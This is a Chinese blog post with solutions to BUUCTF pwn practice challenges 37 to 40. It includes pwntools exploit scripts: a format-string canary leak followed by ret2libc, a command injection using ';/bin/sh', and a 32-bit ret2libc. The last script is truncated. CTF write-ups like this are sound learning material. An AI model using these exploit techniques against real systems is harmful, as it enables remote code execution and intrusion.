pwn入门-buu第二页题解(32道)(持续更新中),一起刷完了这份1307页的网络安全面试宝典吧

有print(format),格式化字符串漏洞啊.那么有什么用呢?别急接着往下看

看到vuln函数可以栈溢出,哎,但是这个v2 = __readfsqword(0x28u)是什么意思呢?不知道师傅们有没有了解过,这是栈的一种保护措施,这就是canary.简单介绍一下,就是在rbp下方的8个字节放置的一个随机数,然后在函数返回时检查这个随机数有没有被篡改,如果被篡改了,那么程序将立刻终止,那么现在知道这个格式化字符串有什么用了吧.我们只要好好利用这个漏洞就可以把canary泄露出来,然后再填上去,就可以成功栈溢出了,那么后面的不过是简单的ret2libc,但是有一点值得要说的是,这里泄露出来的canary是str也就是字符型的,不能立马就打包发送,我们要先用int(canary,16)来把它转化为16进制的整型才可.思路到这就结束了,如果师傅们打不通的话可以试试多动调

exp:

点击查看代码

from pwn import *
context.log_level=“debug”
elf=ELF(“buu37”)
p=remote(“node5.buuoj.cn”,26874)
#p=process(“./buu37”)
#libc=ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
libc = ELF(‘libc-2.23.so_16_64’)
puts_plt=elf.symbols[“puts”]
puts_got=elf.got[“puts”]
volun_addr=0x400887
rdi=0x0000000000400993
rsi_r15=0x00000000004006b1
ret=0x00000000004005f9
#gdb.attach§
#pause()
p.recvuntil(b"I’ll give u some gift to help u!\n")
p.sendline(b’%7$p’)

canary=p.recv(18)
go=int(canary, 16)
print((canary))
p.recvuntil(b"Pull up your sword and tell me u story!\n")
payload1=b’a’*0x18+p64(go)+b’a’*0x8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(volun_addr)
p.sendline(payload1)

puts_addr=u64(p.recvuntil(b’\n’)[:-1].ljust(8,b’\0’))
print(hex(puts_addr))

offset=puts_addr-libc.sym[‘puts’]
sys_addr=offset+libc.sym[‘system’]
bin_addr=offset+next(libc.search(b"/bin/sh"))
payload2=b’a’*0x18+p64(go)+b’a’*0x8+p64(rdi)+p64(bin_addr)+p64(ret)+p64(sys_addr)
p.recv()
p.send(payload2)
p.interactive()

buu三十八题(pwnable_orw)

这里

buu三十九题(bjdctf_2020_router)

这里一看题目我还以为输入一个1再输入/bin/sh,就可以getshell了,结果是我想错了。不知道为什么在发送/bin/sh的时候为什么还要在前面加一个’;'号

看学长是wp说是web版的命令执行,看不懂啊,也不知道咋解释,先上exp吧以后再说吧

点击查看代码

from pwn import *
context.log_level = ‘debug’
context(os = ‘linux’, arch = ‘i386’)
#p = process(‘./buu39’)
#gdb.attach§
p = remote(“node5.buuoj.cn”,26069)

p.sendline(‘1’)
pause()
p.sendline(‘;/bin/sh’)
p.interactive()

buu四十题(jarvisoj_level4)

ret2libc

点击查看代码

from pwn import *
#p=process(“./buu40”)
p=remote(“node5.buuoj.cn”,26676)
libc=ELF(“libc-2.23.so_16_32”)
e=ELF(“./buu40”)
write_glt=e.symbols[“write”]
write_got=e.got[“write”]
back=0x804844B

payload1=b’a’(0x88+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(4))#这里我是把收到的数据进行u32解包得到的数据,你们的可能会不一样
libc_write=libc.symbols[‘write’]
libc_system=libc.symbols[‘system’]
libc_sh

  • 19
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值